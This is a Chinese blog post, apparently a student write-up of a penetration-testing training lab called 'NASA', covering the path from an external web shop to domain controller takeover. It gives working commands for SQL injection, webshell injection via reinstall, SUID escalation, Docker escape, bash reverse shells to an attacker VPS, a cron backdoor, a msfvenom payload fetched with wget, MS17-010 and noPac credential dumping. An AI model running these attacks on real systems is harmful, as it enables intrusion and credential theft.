暗月2022年1月 NASA考核文章1

admin 2022年1月22日16:34:33评论470 views字数 8758阅读29分11秒阅读模式
暗月2022年1月 NASA考核文章1
暗月2022年1月 NASA考核文章1
简单介绍

nasa靶场是综合考核学员能力的项目,主要是考核 外网打点到渗透内网域控的综合能力。
操作系统 包括 linux windows 同存于内网,提供一个公网的web入口点,安全人员对网站/服务器进行综合行的渗透测试,最终夺取各个服务器的权限
这涉及代码审计 外网打点 多种漏洞配合拿webshell,linux提权 docker逃逸,内网常见漏洞模块利用,内网漫游、域权限的获取等技术。考核任务如下

暗月2022年1月 NASA考核文章1

难度

本次考核难度为简单到中级

考核评价

这次考核人数共60人 出师7人 因为不是单个模块的考核,所以通过考核的人员不会太多,但考核出来的成员,渗透测试技能都是扎实和过关的。

培训介绍

需要渗透测试培训可以私聊暗月

以下是培训联系的微信

暗月2022年1月 NASA考核文章1
正文内容

暗月 20221月考核项目NASA1文章

这篇文章完全是黑盒情况下测试的

一、外网打点

常规套路走一下,nmap端口扫描

nmap -T4 -A -v -Pn 103.xxx.xxx.1

看这个扫描结果应该是做的映射

PORT    STATE  SERVICE    VERSION53/tcp  closed domain80/tcp  open   tcpwrapped|http-methods:|_ Supported Methods: OPTIONS3389/tcpopen   tcpwrapped|ssl-cert: Subject: commonName=SBrYse1001582|Issuer: commonName=SBrYse1001582|Public Key type: rsa|Public Key bits: 2048|Signature Algorithm: sha256WithRSAEncryption|Not valid before: 2022-01-07T02:49:32|Not valid after:  2022-07-09T02:49:32|MD5:   22ec 40a4 08f4 efed da17 9af8 d840 42a7|_SHA-1:fb30 c000 ffa9 2c80 3786 afe8 e0f8 6f76 086d 8413

dirsearch目录扫描,看看会不会有网站后台惊喜

直接扫会提示连接失败,应该是线路原因,月师傅这台机器肯定是xxxx哈哈哈哈哈哈哈

暗月2022年1月 NASA考核文章1

加个代理扫描目录

proxy dirsearch -u http://103.xxx.xxx.19/

暗月2022年1月 NASA考核文章1

Get 后台地址

暗月2022年1月 NASA考核文章1

后台地址:http://103.xxx.xxx.19/admin/webadmin.php?mod=do&act=login

测试登录处验证码可复用

暗月2022年1月 NASA考核文章1

后台验证码复用&管理员弱口令

一波弱口令无果,生成定向社工字典试试

社工字典在线生成https://www.ddosi.org/pass8/

moon就是暗月、moonsec是暗月安全(公众号)、nasa是本次项目名称

暗月2022年1月 NASA考核文章1

burp爆破

暗月2022年1月 NASA考核文章1

wtmfuck?项目名+123就是密码

成功登录后台

后台地址:http://103.xxx.xxx.19/admin/webadmin.php?mod=do&act=login admin/nasa123

暗月2022年1月 NASA考核文章1

针对后台的功能点进行测试

找到几处文件上传,但是应该是传不了的(是我菜吧)

暗月2022年1月 NASA考核文章1

暗月2022年1月 NASA考核文章1

其它好像也没什么东西,根据后台页面标题可以知道这个系统叫逍遥商城系统,那么可以看看网上是不是有源代码,有的话可以审计一波

运气很好,看到一篇别人对此系统的审计文章:https://www.jianshu.com/p/d5a180ebeb7e

暗月2022年1月 NASA考核文章1

根据这篇审计文章可以得知这套系统可能有两个漏洞

1、后台任意文件删除

2、后台盲注

别问我为什么不自己审一下(我感觉我审不出来哈哈哈哈哈)

并且作者很贴心的给出了目录结构

├── admin---后台管理目录
├──api.php ---api入口文件
├──attachment ---图片等文件存放目录
├──cache ---缓存文件目录
├──common.php
├──config.php ---配置文件
├──data ---备份文件等目录
├──hook ---hook文件
├──httpd.ini
├──index.php ---主页入口
├──install ---安装文件
├──module --主页模块文件
├──public --公共资源
├──template ---前端文件
├──user.php --user模块入口

那就一个一个看一下了,直到“install---安装文件”这个文件这里,出现一个提示

暗月2022年1月 NASA考核文章1

好家伙,如果存在这个文件,再结合后台任意文件删除漏洞不就可以重装这个系统了?但是我没有决定那么做,这样动静比较大,我们先去看看那个盲注,看看能不能利用

其中一处sql注入位于改变商品状态处(上架商品、下架商品)

暗月2022年1月 NASA考核文章1

完整数据包

POST /admin/webadmin.php?mod=product&act=state&state=2&token=5eb7f4f216b7203866316713e34c055cHTTP/1.1Host:103.117.136.19Content-Length:859Cache-Control:max-age=0Upgrade-Insecure-Requests:1Origin:http://103.117.136.19Content-Type:application/x-www-form-urlencodedUser-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer:http://103.117.136.19/admin/webadmin.php?mod=productAccept-Encoding:gzip, deflateAccept-Language:zh-CN,zh;q=0.9,en;q=0.8Cookie:PHPSESSID=gkg87v4rkqoaarr3tnqsga89k5Connection:close
product_id%5B%5D=1*&product_order%5B69%5D=10000&product_order%5B68%5D=10000&product_order%5B67%5D=10000&product_order%5B66%5D=10000&product_order%5B65%5D=10000&product_order%5B64%5D=10000&product_order%5B63%5D=10000&product_order%5B62%5D=10000&product_order%5B61%5D=10000&product_order%5B60%5D=10000&product_order%5B59%5D=10000&product_order%5B58%5D=10000&product_order%5B57%5D=10000&product_order%5B56%5D=10000&product_order%5B55%5D=10000&product_order%5B54%5D=10000&product_order%5B53%5D=10000&product_order%5B52%5D=10000&product_order%5B51%5D=10000&product_order%5B50%5D=10000&product_order%5B49%5D=10000&product_order%5B48%5D=10000&product_order%5B47%5D=10000&product_order%5B46%5D=10000&product_order%5B45%5D=10000&product_order%5B44%5D=10000&product_order%5B43%5D=10000&product_order%5B42%5D=10000&product_order%5B41%5D=10000&product_order%5B40%5D=10000

sqlmap一把嗦

暗月2022年1月 NASA考核文章1

DBA权限

暗月2022年1月 NASA考核文章1

但是osshell失败了,file-write也写不进去,猜测可能是站裤分离或者是路径不对,那就只能重装这个管理系统了

暗月2022年1月 NASA考核文章1

重装漏洞Getshell

暗月2022年1月 NASA考核文章1

结合任意文件删除漏洞去把install.lock文件删除掉,再重装

任意文件删除存在于数据库备份这个功能点,点击删除进行抓包

暗月2022年1月 NASA考核文章1

暗月2022年1月 NASA考核文章1

修改dbname参数

dbname=../../install/install.lock

暗月2022年1月 NASA考核文章1

修改完放包即可删除install.lock文件,然后进行重装

这里如果服务器地址填127.0.0.1的话,那么密码为空就可以安装了(可能本地mysql没密码的)数据表前缀这里进行闭合,这里的配置会被写进当前目录下的config.php文件,因此闭合之后,我们的一句话也被写到了config.php文件中

暗月2022年1月 NASA考核文章1

蚁剑连接即可

暗月2022年1月 NASA考核文章1

二、内网横向

主机信息收集

传个马上哥斯拉

www-data权限,ip:172.17.0.2

暗月2022年1月 NASA考核文章1

使用哥斯拉自带的功能开启一个超级终端(交互式终端)

uname-a #查看内核版本信息

看这主机名有点像docker

www-data@cbdf426e3ff6

暗月2022年1月 NASA考核文章1

ls-alh /.dockerenv #确认是不是docker环境原文链接:https://blog.csdn.net/ternence_hsu/article/details/100678307

好,ztm是个docker

暗月2022年1月 NASA考核文章1

Docker 逃逸

当操作者执行dockerrun--privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmorSELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。

需要先将www-data提权至root,这台机器可以suid提权

查找具有SUID权限位文件

find/ -user root -perm -4000 -print 2>/dev/nullfind/ -perm -u=s -type f 2>/dev/nullfind/ -user root -perm -4000 -exec ls -ldb {} ;

暗月2022年1月 NASA考核文章1

SUID find提权

find. -exec /bin/bash -p ; -quit #返回root权限的bash

暗月2022年1月 NASA考核文章1

哥斯拉这个终端反应太慢了,bash反弹到自己vps操作

nc-lvp 9999 #攻击机监听

bash-c 'exec bash -i &>/dev/tcp/xxx.xx.x.146/9999 <&1' #反弹shellfind. -exec /bin/bash -p ; -quit #find提权python-c 'import pty; pty.spawn("/bin/bash")' #返回一个交互式shellfind. -exec /bin/bash -p ; -quit #find再提权一次

暗月2022年1月 NASA考核文章1

添加一个root权限的账户

openssl passwd -1 -salt rootd 123456

暗月2022年1月 NASA考核文章1

echo'rootd:$1$rootd$.qpJYqSQfSiIXrtV53AZL1:0:0:root:/root:/bin/bash' >>/etc/passwd

检查是否写入

暗月2022年1月 NASA考核文章1

切换用户,获得root权限,然后docker逃逸

su root d #password:123456mkdir test #创建一个目录testmount /dev/sda1 /test #挂载宿主机磁盘到新建目录testchroot /test #切换根目录cat /etc/passwd #查看宿主机passwd文件

暗月2022年1月 NASA考核文章1

计划任务反弹宿主机shell

在挂载的宿主机tmp目录下写一个反弹shell脚本

echo'#!/bin/bash' > sl.shecho'/bin/bash -i >& bash -i >& /dev/tcp/xxx.xx.x.146/99980>&1' >> sl.sh

暗月2022年1月 NASA考核文章1

写入计划任务

sed -i '$a*/1 *    * * *    root  bash /tmp/sl.sh '  /etc/crontab

获得宿主机shell

暗月2022年1月 NASA考核文章1

msf设置监听,生成反向后门

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=xxx.xx.x.xxx LPORT=9997 -felf > test.elf

暗月2022年1月 NASA考核文章1

python开启一个简单的http服务

python3 -m http.server

受害机有wget工具,使用wget远程下载后门文件

wget http://159.xx.x.xxx:8000/test.elf

暗月2022年1月 NASA考核文章1

受害机执行恶意后门,msf获得反弹会话

暗月2022年1月 NASA考核文章1

信息收集一波

ifconfig

有一个段192.168.59.198/24

暗月2022年1月 NASA考核文章1

routeKernelIP routing tableDestination    Gateway         Genmask         Flags Metric Ref    UseIfacedefault        _gateway        0.0.0.0         UG    100    0        0ens33link-local     0.0.0.0         255.255.0.0     U     1000   0        0ens33172.17.0.0     0.0.0.0         255.255.0.0     U     0      0        0docker0192.168.59.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33

Frp代理

frps[common]bind_ip= xxx.xx.x.xx6bind_port= 7777frpc[common]server_addr= xxx.xx.x.xx6server_port= 7777
[socks_proxy]type= tcpremote_port= 8888plugin= socks5

暗月2022年1月 NASA考核文章1

攻击机配置proxychains

socks5 159.x.x.x 8888

暗月2022年1月 NASA考核文章1

传个fscan扫一波内网

fscan -h 192.168.59.0/24 -o res.txt192.168.59.197:139open192.168.59.144:139 open192.168.59.197:135 open192.168.59.144:135 open192.168.59.1:139 open192.168.59.1:135 open192.168.59.144:80 open192.168.59.198:80 open192.168.59.197:445 open192.168.59.1:10001 open192.168.59.144:445 openNetInfo:[*]192.168.59.197  [->]win7  [->]10.10.10.142  [->]192.168.59.197NetInfo:[*]192.168.59.1  [->]W10ZJ-2020PWKVD  [->]10.10.10.1  [->]192.168.64.1  [->]192.168.116.1  [->]192.168.59.1  [->]192.168.22.1  [->]61.100.100.1  [->]172.16.0.1  [->]10.10.2.1  [->]192.168.0.111NetInfo:[*]192.168.59.144  [->]win2003  [->]10.10.10.137  [->]192.168.59.144[*]192.168.59.1         WORKGROUPW10ZJ-2020PWKVD[*]WebTitle:http://192.168.59.144     code:200 len:1193   title:None[*]WebTitle:http://192.168.59.198     code:200 len:31     title:逍遥B2C商城系统演示站[*]192.168.59.197       __MSBROWSE__WIN7              Windows 7Ultimate 7601 Service Pack 1[*]192.168.59.144       __MSBROWSE__WIN2003           Windows Server2003 3790 Service Pack 2[+]192.168.59.197  MS17-010  (Windows 7 Ultimate 7601 Service Pack 1)[+]192.168.59.144  MS17-010  (Windows Server 2003 3790 Service Pack 2)

有两台windows存在ms17-010,这没啥好说的,直接掏出msf打就可以

search ms17-010set payload windows/x64/meterpreter/reverse_tcpset lhost xxx.xxx.xxx.xxxset lport 8989set Proxies socks5:ip:port  #给msf设置代理set ReverseAllowProxy true  #允许反向代理192.168.59.197 MS17-010 (Windows 7Ultimate 7601 Service Pack 1) 这台win7拿下

暗月2022年1月 NASA考核文章1

Cobalt Strike 上线

查询有无杀软

tasklist/svc

很好,啥也没有,那么cspowershell 直接上线就完事了

暗月2022年1月 NASA考核文章1

暗月2022年1月 NASA考核文章1

域内信息收集

发现存在一个nasa.gov的域

暗月2022年1月 NASA考核文章1

DNS有两个地址

10.10.10.140
10.10.10.141

查询一下域控

net dclist

暗月2022年1月 NASA考核文章1

使用cs自带扫描,扫描一下存活主机以及端口

暗月2022年1月 NASA考核文章1

凭据信息

抓到了一个域内普通账户明文密码

nasatest:QWEasd!@#999dumphash得到三条hashAdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::win7:1000:aad3b435b51404eeaad3b435b51404ee:f099c4a637f9b871487bbb03962f79b5:::

win7是一个本地管理员账户,密码能撞出来

win7/admin555

暗月2022年1月 NASA考核文章1

CVE-2021-42278 and CVE-2021-42287 域提权上线

既然有一个普通域账户,可以试试最近的域提权漏洞CVE-2021-42278 & CVE-2021-42287

cs开一个socks4代理

socks4a7640

暗月2022年1月 NASA考核文章1

攻击机配置prochains

socks xxx.xxx.xxx.xxx 7640

代理

暗月2022年1月 NASA考核文章1

使用脚本攻击即可

工具地址:https://github.com/Ridter/noPac

AD01

proxy python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140-dc-host AD01 -shell --impersonate administrator  #getshell
proxy python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140-dc-host AD01 --impersonate administrator -dump  #dumphash

得到域管hash

Administrator:500:aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Cobalt Strike pth即可

暗月2022年1月 NASA考核文章1

AD02

proxy python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.141-dc-host AD02 -shell --impersonate administrator  #getshell
proxy python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.141-dc-host AD02 --impersonate administrator -dump  #dumphash

Cobalt Strike pth即可(我这里用的AD01的域管hash

暗月2022年1月 NASA考核文章1

Flagsubuntumoonsec_flag{182be0c5cdcd5072bb1864cdee4d3d6e}win7moon_flag{0b08bd98d279b88859b628cd8c061ae0}AD01moonsec_flag{2181d94fba9a1d2de2b5f6fb75f8ab08}AD02moonsec_flag{d3eb9a9233e52948740d7eb8c3062d14}

收官

暗月2022年1月 NASA考核文章1

暗月2022年1月 NASA考核文章1

关注公众号

本公众号更新安全类文章 欢迎关注

如果觉得本文对你有帮助可以点赞和收藏

原文始发于微信公众号(moonsec):暗月2022年1月 NASA考核文章1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月22日16:34:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   暗月2022年1月 NASA考核文章1https://cn-sec.com/archives/746114.html

发表评论

匿名网友 填写信息